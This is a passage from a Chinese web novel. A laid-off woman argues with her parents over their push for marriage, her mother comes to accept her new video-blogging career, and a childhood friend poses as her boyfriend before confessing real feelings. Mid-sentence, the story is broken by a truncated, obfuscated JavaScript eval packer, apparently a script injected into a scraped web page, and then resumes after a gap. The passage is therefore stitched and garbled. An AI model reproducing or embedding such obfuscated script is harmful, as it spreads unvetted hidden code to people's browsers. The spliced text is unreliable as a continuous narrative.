她明明说好会改的,原来承诺只是一颗打了一巴掌后再给的甜枣,用来试探彼此崩溃的底线在哪。 “我没把你往火坑推,你不答应,我不也是帮你拒绝了吗?你周围的朋友一个个都结婚了,你也看见了,遇事两个人有商有量就是要比一个人扛着好。你没有一份稳定的工作,就等于没有固定的收入,还要还房贷,这样要找对象只会难上加难。可你如果能嫁给一个有经济基础、条件不错的,他有足够能力可以撑起这个家,你就可以做自己喜欢做的事情啊。” 余序洲点头附和陈慧柔的话:“你妈说得对,姿娘到了这个年纪,婚姻大事比工作重要。” 没想到有一天,失业和实现自我爱好这两者,居然能这么自然地被揉进婚姻这个话题里,这是余希柠万万没有想到的。 传统性别的刻板印象如同一颗子弹正中余希柠的眉心,心里泛起了一丝凉意和绝望。 “我和你们沟通不了,反正事情已成定局,我自己的人生我自己做主。” 余希柠倦了,她不知道该怎么和父母交流,是她把一切想得太简单,以为在构筑自己人生每个阶段里都能得到父母的支持和体谅。 她也想让父母参与到自己的人生里。 例如她做项目取景拍视频素材时,可以把父母带在身边,让一辈子没怎么从这个县城里走出去的他们,多看看外面的世界。 这些,她都是想过的。 余希柠积极地想要做好女儿这个角色,殊不知父母只需要她成为别人的妻子。 房门砰的一声关上,一场失败的沟通呛得她泪流满面。 每次谈话即便做足了心理暗示和准备,到最后总会发展成意见不合、针锋相对。尖锐的言语变成刺向对方的利刃,那些承诺过的话变成彻头彻尾的谎言。 口袋里的手机一直在震,是宋乔发来的消息,关心余希柠和家里谈得怎么样。下高铁前,余希柠发了个保佑保佑的表情包,这会点开看,徒留苦笑。 “我哪句话说错了?我哪次不是为了她好,她怎么就是不明白。我们又不是能陪伴她一辈子,像裁员这样的事情,如果她能有个人互相依靠,也不至于太过无力跟绝望。” 隔着门板还能听见陈慧柔的声音,余希柠很想解释,她不觉得无力跟绝望,她已经找到了往下走的路。 但她实在没有力气了,因为结局不会改变。 65. 未眠 “我后悔了,就不该跟他们说我被裁了,应该等自媒体情况稳定下来再说。我妈竟然觉得,找一个条件好的对象结婚才是最重要的,万一嫁得好,我也不需要发愁找工作的事情。” 宋乔回复得很快:“哎,阿姨什么时候才能放弃这种思想,女性又不是依附于男性和婚姻才能实现自我价值?” 余希柠:“是我没能让他们看到独立价值体现吧,事业婚姻没有一样成,也就没有任何说服力。” 宋乔:“那你想当自媒体博主的事,他们怎么说?” 余希柠:“觉得对外解释不了,也不稳定,还是得找一份工作,不然别人来说亲,他们都不知道该怎么聊。” 宋乔:“和说亲有什么关系?真是荒诞又落后。你现在还好吗?接下来怎么打算?” 余希柠:“我不想因为他们改变我的计划,心软在这个家是一文不值的,拍完视频我就回广州。” 如果好好沟通只会带来伤害,那就逃离这座山吧。接受现阶段无法改变的母女关系,也让自己松一口气。 救不了,那就不救了。 夜里,余希柠没睡着,躺在床上翻来覆去,看着外面熟悉又陌生的夜色。 熟悉是因为自小生长的环境,陌生是因为长大后变化的心绪。 她房间里原本的床和书柜、书桌,是余序洲和陈慧柔结婚时打的那套,搬新家的时候重新刷了一遍油漆色,看起来像新的一样。 但用了这么多年,再好的实木都会坏,床板一翻身就吱呀作响,衣柜里的木板层都脱落了,衣服取出来都带着木屑,更别提书桌有多残破。 余希柠一直想要换一套家具,让自己的房间看起来像样些,每回放假回来睡觉都睡得不舒服,翻个身就被吵醒。 陈慧柔却和她说,换家具得等要结婚了再换。 余希柠甚是不解,她要是一直不结婚,难不成还得一直用这套破家具? 后来忍无可忍,她选择先斩后奏,自己花钱买了套新的让人上门安装。事后陈慧柔还和她说,邻居见家里进了新家具,在追问是不是好事将近了。 余希柠不耐烦道:“你让他们少管闲事。” 房外窸窸窣窣的动静打断了余希柠的回想,光是听脚步声她就能熟练地分辨出,是余序洲还是陈慧柔。 和余希柠一样,陈慧柔也是一夜没睡。 躺下去的时候总会不断回忆起这几十年发生的事情,从她自己还是小姑娘的时候,到现在已经快三十岁的余希柠。 陈慧柔会控制不住地去比较陈敬涛和陈敬禹的家庭,小的时候她就不受家里重视,负责全家的家务劳动,甚至有时候还要被父母叫去给亲戚帮着洗衣服。 陈敬涛可以读高中参加高考,她初中毕业就得去厂里打工,如果不是顶职,陈慧柔都不敢想自己现在会变成什么样子。 陈敬禹就更不用说了,从读书到工作,一路坦途。 原以为嫁人可以改变命运,无奈最后选了个老实人。结婚后勤勤恳恳,不争不抢,可公婆对她和余序洲还是百般苛刻,一家三口被赶出家门,过着寄人篱下的生活。 陈慧柔觉得自己前半生是苦过来的,她也埋怨过命运的不公,可在潮汕那样的环境里,一切又再平常不过。 所以她把全部希望都寄托在了孩子身上,就像她自己说的,余希柠就是她的全部。 她自认对余希柠是毫无保留的付出,是尽心尽力的栽培,可为什么余希柠就不能像她想象中地那么长大。 相比较之下,陈敬涛的一对儿女,诸事顺遂,如今陈梓钰有了孩子,幸福地经营着自己的小家。陈梓航事业稳定也有女朋友,看似也要定下来了,根本不用陈敬涛和王君一直操心。 陈时宜就更不用说了,都是不同阶层的环境,和他们这种普通人家的做不了比较。 陈敬涛和陈敬禹的优越无时无刻不在刺痛陈慧柔,她也曾炫耀过自己的孩子有多优秀,可在他们眼里,那些都不如美满婚姻、儿孙绕膝、天伦之乐。 余希柠就像是陈慧柔握在手里的一把武器,由她亲自锻造出来,以为用了最好的材料,该所向披靡才对。可不论是刺还是砍,都不够锋利。 她还是赢不了那些人。 陈慧柔越想越睡不着,她打开床头灯,拿过手机靠坐在床头,点开短视频平台,动作熟练地点进关注页面。 账号是余希柠在2019年那会帮陈慧柔申请的,目的是让她通过刷短视频,与外界接轨,多了解一些信息内容。 起初余希柠帮陈慧柔关注了不少美食账号、旅游账号、舞蹈账号,全依据她的兴趣来。 后来陈慧柔自己取消了这些关注,只保留余希柠的账号,目的是想第一时间刷到女儿发的内容,免得被其他账号覆盖了。 从头像点进去,就是最新一条视频,点赞有三十六万,评论有一万三。 “檬妹又来给我们上高度了,顺便给檬妹晒一下我今天刚看的话剧。(附带照片)” “每次看到檬妹的视频就好想家,想要快进到过年的时候,今年大年初一我一定早起去看布马舞表演。” “哈哈哈哈刚在想柠檬怎么还没更新视频就刷到了,保持这样的频率刚好!我可太喜欢这种有文化内涵的视频了!” …… 前排的评论基本都有余希柠的回复,文字风格时而俏皮,时而幽默,陈慧柔一条条看完,嘴角不自觉上扬。 眼前仿佛浮现起余希柠小的时候,人小鬼大,每次闯祸了都能说出一些不符合她那个年龄段的歪理,让人又气又想笑。 “不睡在看什么?还偷偷笑。” 余序洲其实也睡不着,但就是怕影响到陈慧柔,便闭着眼睛装睡。没想到她中途爬起来看手机,看着看着还在偷笑,与今晚那满腹心事眉眼愁苦的模样判若两人。 余序洲实在好奇,便也坐了起来,顺手拿过一件外套搭在陈慧柔肩膀上:“别着凉。” “我在看妹妹账号的评论和回复。” “怎么突然想起看这个?” “你看看这条,有人问她小的时候大年初一有没有去街上看营锣鼓。她回答说,小时候早起起不来,等吃完饭出门,爸爸会带她沿着几条主街找妈妈的身影,因为妈妈会带队营锣鼓班,见到了就会很激动,恨不得告诉全世界,那是她妈妈。” 陈慧柔念到最后,眼眶突然湿了,声音带着哭腔:“我,我都不知道她小时候会这样。” 余序洲拍拍陈慧柔,没出声。 陈慧柔把每个视频评论区都点开来,挑一两句念给余序洲听:“你看,她在网上的性格,和现实里完全不一样。也就是看这些,会让我想起她小的时候,还没毕业进入社会的时候,无忧无虑,爱笑爱闹。” “她的视频的确剪得不错。” 余序洲附和了一句,陈慧柔却摇头觉得不够:“不止是这样,她在自己喜欢的领域,是鲜活的、快乐的,是在发光的。” 余序洲不置可否。 陈慧柔:“回头想想,我以前好像没有特别喜欢做的事情,非要说一个,那就是去书斋看书。那会日子太苦了,每天有做不完的活,要生活要赚钱,哪里会去考虑到什么兴趣跟爱好,稳定就行,有收入就行。” 余希柠在二次元的样子,从某种程度上让陈慧柔缓过神来,让她有瞬间的动容和认同。 这样的余希柠,太久没有出现在生活中了,像刻意藏起来的,又像是被限制住的。 “我和她终究是不一样的,有血缘的羁绊,可也是不同的个体。”陈慧柔摇了摇头,“她早就明白,也一直给我重复的道理,我到今天才完全理解。” 余序洲打了个呵欠,开始有了困意:“听不懂你在说什么,就知道她正事没一件干得成,也不知道是像谁。” “胡说八道什么,希柠比你我都聪明,像你才不好。” 陈慧柔推了余序洲一把,后者拉了拉被子重新躺下。 “睡吧,再不睡,天都要亮了。” 陈慧柔不管他,又看了两个视频才意犹未尽地关掉手机和台灯,躺下床后她开始想,早餐要做什么好。 余希柠不喜欢喝粥,那就煮豆浆吧,正好冰箱里还有前日做好的面包,打上鸡蛋和牛奶,蘸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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余序洲换鞋进屋,拿出手机看了眼:“没开流量,wifi断了就没收到,那我们中午就吃烤红薯?” “都行。” 陈慧柔兴致缺缺地回厨房,把从冰箱里拿出来的食材又放了回去,余希柠不在,他们的午饭就变得很简单。 门铃响的时候,陈慧柔正在厨房里忙活,余序洲在书房浏览网上的财经报道,闻声摘下眼镜出来开门。 屋外是个身形颀长,五官长相英俊的年轻人,两手拎满了东西,看见余序洲,礼貌颔首打招呼:“叔叔好。” 余序洲点头:“你好,你找哪位?” “我是林屿沉,是希柠的朋友,她在家吗?” 林屿沉穿着件黑色冲锋衣,每根头发丝都是精心打理过的,眉眼带笑,动作中透着些许拘谨,像极了第一次上门的毛脚女婿。 余序洲没听说过林屿沉这个名字,倒是陈慧柔反应快,她原本是跟出来看谁摁门铃,结果就听到林屿沉三个字。 “是屿沉啊,快进来坐进来坐,真是稀客。” 余序洲看着热情的妻子,眼光茫然,趁林屿沉不注意,拉住小声问道:“谁啊这是?” 陈慧柔:“沐卿的外甥,希柠小学同学。” 余序洲又问:“他来干什么?不是过年过节的还带那么多东西,我去把希柠叫回来?” “先别急,坐下聊聊先。” 余希柠不在,林屿沉表情有些许紧张,好像完全和想象中的不太一样,宋乔打电话找他的时候,分明说的是十万火急的情况。 可现在看,气氛好像还好。 “希柠一早出门拍摄去了,估计没那么早回。”陈慧柔坐在林屿沉对面,微笑看着眼前这位年轻人:“有好多年没见到你了,那会你才这么点大,上小学,在你家铺门口写作业。” 陈慧柔抬手比划了一下身高,感慨道:“这要是在路上碰见,我铁定是认不出来的。” 66. 情侣 余序洲坐在主位上负责冲茶,眼角余光瞥见茶几下放着几包烟,顺手就拿出来问:“抽吗?” 林屿沉礼貌摆手拒绝:“我没抽烟,谢谢叔叔。” “好的。” 余序洲又把烟放了回去,被陈慧柔瞪了一眼。 “你怎么也回饶平了,工作不忙吗?我之前听你大姨说,你在创业,和朋友合伙开了家科技公司,还挺忙的。” 林屿沉点头:“是,做项目的时候就很忙,这次回来主要是跟父母商量新屋入宅的事情,挑个吉日。” 陈慧柔:“哦?买房啦,是在饶平还是?” “在广州。”林屿沉勾起唇角,双手十指交扣,右手拇指指腹摩挲着左手拇指指骨,缓慢道:“和希柠是邻居,她是01房,我是02房。” “这么巧?” 陈慧柔有些难以置信,表情和余希柠当时在门口看见林屿沉时,几乎一样。 余序洲也以为是自己听错了,重复了一遍小区名字。 林屿沉淡笑道:“对,我比她早几个月买的,结果她比我还早搬过去住。” 余序洲给林屿沉递了杯茶,打听道:“打算什么时候入宅?然后就直接搬过去住?” “日子看的是9月23号,入宅后就住进去。” 陈慧柔点点头:“挺好的,以后和希柠就是邻居了,能互相关照。” 林屿沉端起茶杯,指关节微微扣住,他不擅品茶,只觉得入口有淡淡的清香,和在余希柠家里喝的应该是同款茶叶。 陈慧柔看了眼他拿的东西,又和余序洲对视了一下:“你今天来找希柠,是有什么事情吗?” 林屿沉放下茶杯:“我明天回广州,原本想问她要不要跟我的车一块回去。” “你和希柠……” 陈慧柔斟酌着用词,想问又不敢问,怕太冒昧。万一不是自己想的那样,还会影响林屿沉和余希柠的关系,到时候余希柠又该跟她吵起来了。 陈慧柔改了说法:“哦她说这次是专程回来拍摄,估计没那么快回去吧。” “看样子,叔叔跟阿姨应该是知道,她要转行做自媒体的事情了?” “对啊。”余序洲端起茶壶倒茶,笑着问:“这种类型的工作,在大城市是不是挺常见的?” 林屿沉点头:“确实,现在做自媒体博主的不少,类型赛道也很多样,做好了,也是有社会影响力的人物。” “你怎么看希柠选择做自媒体的?你觉得这种和你创业的性质是不是一样?她这个时候做自媒体,你觉得大环境如何?” 陈慧柔问了很多和余希柠有关的问题,林屿沉丝毫没有慌张,反倒不疾不徐地作回答。 余序洲边听边打量眼前这位年轻人,虽然之前没有见过真人,但在黄沐卿那听到过不少赞誉。态度大方,侃侃而谈,聊起余希柠时的表情很温柔,言语中也不难看出他对余希柠的了解和欣赏。 陈慧柔也听出来了,林屿沉在余希柠选做自媒体这件事上,两人有过商量探讨,他认可余希柠的想法,欣赏她的能力,支持她的选择。 林屿沉觉得余希柠心中住着一个蓬勃有生机、乐观有活力、敏感有创造力的人,那是她闪光的一面。 “她其实也犹豫过,因为担心你们无法接受,所以犹豫着是不是要做回那个循规蹈矩的余希柠。可自己又确实很喜欢,想着万一能做成功呢。叔叔阿姨,她很在乎你们,只是可能有时候没直接表达出来。” 林屿沉淡淡勾唇道:“我们做朋友的,都是鼓励她、相信她,想必叔叔阿姨也是一样的吧。” 余序洲呵了一声,哪能听不出来林屿沉话里话外的暗示:“你是她派来的说客吧?故意找个生面孔,这样我们做父母的也不好拒绝。” 林屿沉抬手解释道:“真不是,不然我也不会连她今天出去拍摄了都不知道。” “谢谢你啊屿沉,阿姨能听出来你对希柠的关心,她在外能有你们这些朋友关照,我们做父母的都很放心,也很感恩。” 陈慧柔表情欣慰:“其实我们也有做得不够的地方,总是一着急就乱说话,伤了她的心。她这次回来说了被裁的事情,我和你叔叔都非常心疼,都不敢想她自己这一个月是怎么挺过来的,兴许是有你们这帮朋友在,开导她,劝慰她。” 她看了余序洲一眼,似乎接下来这句话,也是说给他听的:“眼下希柠做了这个决定,我们做父母的会支持她。以前是我们不懂这方面,现在会慢慢去了解,只要她开心,做什么都可以。” 林屿沉喉结上下滚动着,唇角微弯,他相信陈慧柔说这些话,不是客套给他一个外人听。或许在他来之前,陈慧柔和余序洲应当是想清楚了。 “希柠要是知道您和叔叔支持她,一定很开心。” “光顾着聊天,你还没有吃饭吧?我和你叔叔中午吃红薯,不介意的话我再下碗饺子,家里有现成包好的饺子,煮熟就行。” 闻言,林屿沉忙拒绝:“不用了阿姨,别麻烦。” “不麻烦不麻烦,你难得来一次,一定得留下来吃饭。阿姨还得谢谢你对希柠的事这么上心呢。” 陈慧柔直接把起身的林屿沉按回座位,又叮嘱余序洲:“多和屿沉聊聊,听听年轻人的看法,如醍醐灌顶。” 余序洲接收到了妻子的信号,慢悠悠地沏茶,续水,闲聊道:“你炒股吗?平常有什么爱好?” 林屿沉:“读研那会炒,近两年股市行情差,加上工作忙就都没有了。叔叔对股票有研究?” 余序洲骄傲地竖起两根手指头:“我,两千年就开始炒股了,经历了几次股灾,是实实在在的老股民。” 陈慧柔钻进厨房忙碌,洗了点青菜,煮了一锅猫耳饺子汤,端上桌之前还特地拿出手机给余希柠发消息。 余希柠忙着拍摄,等看到信息赶回家,三人都已经吃完饭了。 “你,你怎么会来?” 她三步台阶并作两步跑上楼来,这会儿正喘着气,茫然看向林屿沉。 林屿沉走到余希柠身旁,抬手亲昵地帮她把脸颊的碎发捋到耳后,垂眸勾唇:“是想来问你,明天要不要跟我的车一块回去。赶上饭点,有幸尝到阿姨亲手做的猫耳饺子,很好吃。” 这,这暧昧的气氛是怎么回事! 把余希柠给整糊涂了! 林屿沉挨得这么近,都能听到呼吸声,余希柠抬眼看他,眼神里写满了问号,可他偏偏跟看不懂似的,还在笑。 “你吃过饭没?”他又问。 “吃了。” 眼角余光瞥见地上摆满的礼品,有茶叶、食用油还有零食,余希柠匪夷所思:“这些都是你拿来的?” 林屿沉淡定道:“头一回见家长,总不能空着手来吧?” 什么见家长! 就这么一瞬间,余希柠觉得自己脑子都要炸开了。 先是不打招呼就登门拜访,天知道她在看到陈慧柔发来的短信时,受到多大惊吓,反复确认不是看错后,就差把小电动开出赛车的水准飚回家。 现在还说什么见家长,到底演的哪一出。 “你们俩是……” 林屿沉的话,陈慧柔也听见了。 一直不好意思问,但又觉得林屿沉对余希柠表现得太过关心,方才余序洲还偷偷跟她使眼神,想让她问,陈慧柔一直假装看不懂。 林屿沉表现得太沉稳了,反倒让陈慧柔谨慎起来,生怕说错话。 “你没来,我也不知道该不该跟叔叔阿姨说。” 林屿沉的话让余希柠脑海里冒出一种非常荒唐的可能,她下意识觉得自己想法太过荒谬可笑。 然而下一秒,林屿沉忽的牵住她的手,十指相扣,用行动坐实了余希柠的猜想。 “叔叔阿姨,我和希柠在一起了。” 陈慧柔喜形于色:“真的假的?哎呀!我刚刚就有预感了,就是不敢直接问你,怕万一不是,害你尴尬。” 林屿沉微抿了下唇,当真装出不好意思的样子:“她没回来我也不敢说。” “你这孩子,好事情啊,有什么不敢说的。”陈慧柔抬手招呼道:“来来来,别都站着,坐下说。序洲,你快沏壶新茶。” “你跟我过来一下。” 余希柠把林屿沉拉进屋。 见房门关上,余序洲挑眉看向陈慧柔,半信半疑:“真的假的,我怎么感觉希柠好像很惊讶?” 陈慧柔压低声:“你刚不还给我使眼色,你也觉得有行情不是吗?” 余序洲:“确实,不然平白无故带这么多东西上门来。” 陈慧柔:“估计是两人没说好,待会出来再问就是了。” 屋里,余希柠抽回手,后退一步看着林屿沉:“你这演的是哪出?” “宋乔给我打电话,让我过来江湖救急。”两个人离得很近,林屿沉低头笑了下:“她担心叔叔阿姨急于催婚,影响你的选择。” 余希柠听懂了,可其实不用这招她也想好了这次不会退步,陈慧柔和余序洲爱怎么说就怎么说,素材拍完她就直接回广州,离开就是。 “我已经懒得和他们沟通了,但你今天这样说,影响会很大,你大姨和我妈的关系……” 林屿沉抬手理了一下余希柠折起的领子,提醒她:“你爸妈还在外面,我们俩在你房间里待太久不合适吧?” 余希柠抿着唇,下决心:“行,那等出去了再说。” “聊完了?来喝茶吧。” 房门打开,余希柠和林屿沉一前一后走出去,陈慧柔招呼着喝茶,余希柠却拉住林屿沉。 “他得回去了,我送他下楼。” 余序洲:“你怎么刚回来就要把人赶走?急什么。” 陈慧柔:“就是,屿沉刚吃完饭还没喝茶呢。” “叔叔阿姨,是这样的,因为我明天就要回去了,所以今天还有亲戚要去走一下,等您和叔叔有空来广州,再一块聚一聚。” “哦对对,去广州了还能碰面,我差点忘了你现在和希柠住隔壁。”陈慧柔眉眼温婉,柔声道:“平日里有什么事互相照顾,有商有量,希柠从买房到装修、入宅都是一个人操办的,你要是有什么流程不确定,可以多问她。” 林屿沉谦逊点头:“好。” “那我送他出去。” 余希柠急不可耐地推着林屿沉往外走。 “哎你拿这么多东西过来,不是还要去走亲戚吗?顺便带过去给亲戚们。”余序洲随手拎起林屿沉拿来的礼盒就要塞回去。 林屿沉:“不不不,叔叔阿姨,这是该有的礼数,第一次上门我也不知道买什么好,听希柠说过叔叔喜欢喝茶,就买了些茶叶,其实我也不太懂品茶这块。” 余希柠站在旁边听着林屿沉说话,都想给他竖起大拇指了,上哪学的这套,演起来还像模像样的。 还有,她什么时候说过余序洲喜欢喝茶了,瞎编还编中了。 陈慧柔:“太客气了,下次来不用带东西。” 刚打开铁门,碰巧就遇上了隔壁邻居出门,邻居见男生和余希柠牵着手,惊讶道:“希柠带男朋友回来见家长啦?” 余希柠:“……” 完了,误会越来越大,这邻居还是个嘴长的。 林屿沉微笑颔首。 邻居见人长得高大帅气,免不了是一顿夸:“慧柔姐有福气啊,之前天天盼着希柠带男朋友回家,这一带就带了个大帅哥回来。” 陈慧柔笑得合不拢嘴:“是是,你这是要出门去?不午休?” “早上晚起了,这会准备去朋友家喝茶聊天。”邻居忍不住八卦道:“什么时候办好事啊?” 余希柠讪笑:“阿姨,没那么快。” “这哪里算快啦,楼下雅雅不是比你还小两岁,去年都结婚了,得抓紧,不然你爸妈都急出白发了。”见余希柠笑得僵硬,邻居赶忙及时停住:“行行,不聊了,朋友还等着我呢。” 等人离开,余希柠忍不住嘀咕了两句:“说不聊还聊那么多,闲的。” “你这孩子。” 陈慧柔推了余希柠一把,生怕她在林屿沉面前丢分。 林屿沉:“叔叔阿姨留步,希柠跟我下去就行。” 余序洲:“好,慢走。” 到了楼下,两人的手还牵着 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“她该不会是故意说给你听的吧?昨晚可不是这么跟我说的。”余希柠有点不敢相信,怀疑道:“估计还是因为你,你的出现解了她心头大患,看什么都顺眼了。” 出了小区门口,余希柠松开林屿沉,把手放回到自己口袋里。 林屿沉摇头:“我那会还没有说是你男朋友,应该和我没关系。估计他们是真的想清楚了。” 余希柠脸上瞧不出一丝惊喜,林屿沉温声问:“怎么感觉你不是很开心?” “像这样的情况没有十次也有七八次了,都是争吵过后短暂的求和与退让,等过了这个风口,她又会重新担忧焦虑。” 余希柠看着林屿沉,觉得藏在口袋里的掌心似乎还留有他的大手的温度,她故作镇定道:“你今天撒这个谎,有没有想过往后我们要去圆很多个谎?我妈现在指不定就在跟你大姨打电话说这事,到时候你家里人就都知道了。” 林屿沉突然弯唇笑了下:“知道了又怎么样。” “什么怎么样,我们要不停地去圆谎啊,万一那天说漏嘴,情况会更糟糕。” 余希柠都想不通,林屿沉行事这么稳重的人怎么会犯这么低级的错误,她就是被陈慧柔催得再烦都没想过找个假的。 “如果不是谎言呢?”林屿沉凝眸看她。 余希柠心咯噔一下,面上还装傻:“什么意思?” 林屿沉:“字面上的意思,就是不做假的男女朋友。” “……” 一切来的有点太突然了,余希柠不知道该作何反应,她甚至都猜不透林屿沉是什么意思:“不会又是宋乔跟你说了什么吧?” 林屿沉眼里带着几分笑:“你觉得她会跟我说什么?” 余希柠:“你之前不是还说创业阶段忙,不打算谈恋爱吗?那你现在是什么意思?这个问题,我回去之后,我妈指不定也是要问我的。” “嗯?” 林屿沉笑意都没了,瞬间严肃起来,怕漏掉什么点让余希柠生气,“我什么时候和你说过这话了?” 事已至此,余希柠觉得敞开说也没什么:“沐卿阿姨之前想帮我们俩牵线,你和她说没空谈恋爱,拒绝了,不是吗?” 林屿沉彻底怔住了,脸上露出的惊讶做不了假,余希柠见了,微微蹙眉,难不成这种事情还有误会? “我大姨之前问过我有没有谈恋爱的想法,想帮我介绍对象,她没说对方是你,不然我不会那么说。” 两人面对面站着,视线难免会碰撞在一起,林屿沉紧张地盯着余希柠看,就像生怕她不相信自己的解释。 余希柠也确实没想到黄沐卿会谨慎到只是试探,没告知林屿沉,想介绍的是自己。 “那你……” 余希柠顿了下,没想好接下来的问题该怎么问,有些怪自己在关键时刻掉链子,没有那种极快的反应力和表达力。 林屿沉似乎看出她的想法,主动解释:“之所以会拒绝大姨,是因为我有喜欢的人,但我不知道这份喜欢能不能有结果,所以也不想跟大人说得太直白。” 现在这样的时间和环境,并不是林屿沉想象中最好的表白场所,他看着余希柠,认真道:“宋乔和我说,我才知道你和父母之间的困局,帮你解困,不是趁人之危,是我的私心。” “你,喜欢我?” 余希柠还是有点昏昏然,总觉得不太真实,她都没察觉到林屿沉对自己有这样的心思。 林屿沉:“是,不过这个话题,现在好像不是可以展开细说的情况。” 余希柠瞥了眼四周,确实,小区里的人进进出出,门卫大爷这会也正透过小窗盯着他们看,见余希柠看过来,还笑着点头打了声招呼。 林屿沉见余希柠表情始终不明朗,心忽然往下沉:“还是说……你想拒绝?” 余希柠无端端打了个喷嚏,抿了下唇:“估计是我妈在念叨怎么出来送这么久了,你先回去吧,容我想想。” 林屿沉攥紧了手指,喉结轻滚:“好。” “那你回去吧,路上小心。” “嗯。” 余希柠转身往回走,经过楼下还特地抬头看了眼阳台,没人站在那。也是,出来得有点久了,爸妈总不能一直在阳台看着。 脸颊上的热意都没完全褪去,她调整呼吸换鞋进屋,陈慧柔闻声出来:“怎么送了那么久?” “问了些入宅吉日的事情。” 陈慧柔脸上的笑容太晃眼了,余希柠看了觉得又气又无奈,母女之间的问题,居然只要一个林屿沉就能化解了,传出去真是令人发笑。 陈慧柔担心道:“你不会一出去说他了吧?” 余希柠:“说他什么,没经过我同意就来家里?” “他也是担心你,是不是昨天晚上和他哭鼻子了,人一大早就来,左一句右一句都是在帮你说话,我和你爸都听出来了。” 这事,陈慧柔是真多想了,但余希柠也不知道怎么解释,她自己现在都很混乱。 “你们俩的事,妈先不问,我们能先聊一聊工作的事情吗?” 67. 暗恋 即便没有林屿沉,陈慧柔自己也是想今天跟余希柠好好聊一下的,她把余序洲从书房叫出来,三人又坐在客厅里。 和昨天晚上一样的情形,只不过位置换了,陈慧柔没有坐在余希柠对面,而是坐在她身边。 “昨天晚上我说的一些话,有些偏激了,是我自己的原因。因为从小长大的环境和境遇,迫使我内心有很多的遗憾跟不甘,作为母亲,我擅自将这些条条框框加在了你身上,很大一方面是希望你能成就我,弥补我的遗憾。” 陈慧柔主动剖白,聊起很多小时候的事情,有不少余希柠都是第一次听到。就连余序洲,也不禁搭话感叹—— 那时候陈家慧柔是以勤劳刻苦、温柔能干出名的。 “从前你一直跟我强调,我们是不同的个体,让我不要总把自己想要的强加在你身上。那时,我尝试过去理解你,接受你的新思维,事实上,我只是想平息我们母女之间的矛盾。并没有真正地去接受,或者改变。直到昨天晚上,我仔仔细细看了你在平台上的视频作品,还有评论区和网友的互动,一瞬间像看到你小时候的样子。” 陈慧柔深呼吸,努力调整自己的情绪:“希柠,我没法完全一下子抛弃原来的思想,去适应你的,但我会积极地去调整。我相信,你会比我跟你爸更好,更优秀。是不是啊余序洲?” 被点到名的余序洲摸了摸鼻子,附和道:“对对对,我也没说什么反对你的话啊。” “你也该表态一下,你不是经常在背后夸你女儿吗?下次当面夸。” 余希柠有些窘迫,她没想到陈慧柔昨晚没睡,是在看她的视频,还有了这么深的感触,一时有些受宠若惊。 “眼下你有新的职业规划,爸妈会支持你,就像你说的,兴许是命运安排的机遇也说不定。总之,一家人的心要齐。” “对!支持!” 余序洲终于跟上了一次。 余希柠忍俊不禁,还有点不好意思:“那就希望陈女士说到做到了。” 陈慧柔:“互相监督。” 家庭会议结束,余希柠回到自己房间,半天不到的时间里摄取了太多信息量,整个人就像踩在柔软的云朵,飘忽不真实。 可这云朵是甜的啊,她偷偷尝了一口,出乎意料。 像是想起什么,余希柠拿出手机来给宋乔发信息,文字上像是在控诉,实则编辑的时候嘴角都是上扬的。 “你干的好事,林屿沉是你叫过来的?” 宋乔过了会才回复,却像是很惊讶:“他真去了?” “什么意思,不是你让他来找我的吗?” 宋乔:“方便语音?” “行。” 余希柠把房间门带上,走到窗前接语音,宋乔似乎在外面,听声音背景有些喧闹。 “昨天我见你情绪太低落了,怕出什么事情,正好林屿沉也回家了,就想让他过去看看,顺便帮你劝一下叔叔阿姨。一开始他以为你们只是因为工作的事起争议,觉得插手不合适,也没有劝的立场。后来我就说了你爸妈催婚的事。” “你怎么连这个都说了啊……” 窗户上映着余希柠的脸,眉眼明显带着笑意,指责声调中都带着娇嗔。 宋乔在商场,对余希柠的声音听得不是很真切:“你先听我说完,上次我在你家就觉得他对你感觉很不一样。所以我也是想着试探他,当时我给了他两个选择的,如果他对你有意思,眼下就是个很好的机会,伪装成你男友,帮你度过这一劫。如果他没这个意思,那就当我这通电话是病急乱投医。” 宋乔反复强调,自己没有逼迫林屿沉非要那么做,是给了他选择,而且挂断电话后她也不知道林屿沉到底去没去。也是余希柠发消息来,她才恍然大悟—— “林屿沉是喜欢你的,不然就不会过去了。” 余希柠抬手无意识地抠着窗边脱胶的塑料条:“他和我说了,我都不敢信,什么时候的事,我一点感觉都没有……” 宋乔:“你就是身在局中,钝感力太强,其实我早就看出来了,上次聚会是,在你家也是,他眼里只有你。” 余希柠被宋乔说得面红耳赤,整颗心轻飘飘的:“真的假的……” “这问题你该问他吧?” 宋乔好奇林屿沉到底是怎么跟余希柠说的:“什么时候回广州啊,我迫不及待要吃瓜了。” 余希柠:“等素材拍够了就回去。” 宋乔:“好,等你!” 吃晚饭的时候,陈慧柔问起余希柠的拍摄计划,得知她明天要去村里拍潮剧团,问能不能跟过去看。 余序洲:“你去干什么?又不会拍摄。” 陈慧柔:“我去看妹妹工作是什么样的,不行吗?” 余希柠每次看父母拌嘴,就觉得很有意思:“行啊,到时候你就当我的助理,我指哪你打哪。” 陈慧柔:“没问题,只要我会干就行。” “屿沉那公司办得怎么样了?他明天回去,你得去送送吗?” 余序洲突然开口,还亲切地称呼为“屿沉”,余希柠听着都害羞,但怕父母看出什么来,还是装作很淡定的样子。 “挺忙的,他去新房都是挑午休时间过去,不过听说项目不少,具体我也没多问,又不懂。” 余序洲又开始说教:“不懂就要学着了解,不然两人怎么有共同话题。我听得出来他对你的工作领域还是知道不少的,很关心你。” 余希柠:“看来他今天表现得不错,老余甚是欣赏,没白来。” “你们俩什么时候在一起的?上次他还跟沐卿说不想谈恋爱,你们后来私底下自己联系的?” 该来的还是来了,余希柠喝完汤,抽过纸巾擦了擦嘴角,把早就打好的草稿加了些感情复述出来。 “之前偶尔有联系,小学聚会的时候我们也见过。后来有一次,郑重在番禺突然急性阑尾炎,我吓得手忙脚乱给他打电话帮忙,他二话不说就来了。然后……” 余希柠抬起右手,手心朝上,手背朝下,翻了翻:“反正来来回回就在一起了。” 此处省略编不下去的一万字,幸好陈慧柔也不在意细节,她对林屿沉印象还是很好的。 “你说世界上怎么会有那么巧的事情呢,偏偏他买的房子就在你隔壁,真是上天赐的缘分。” 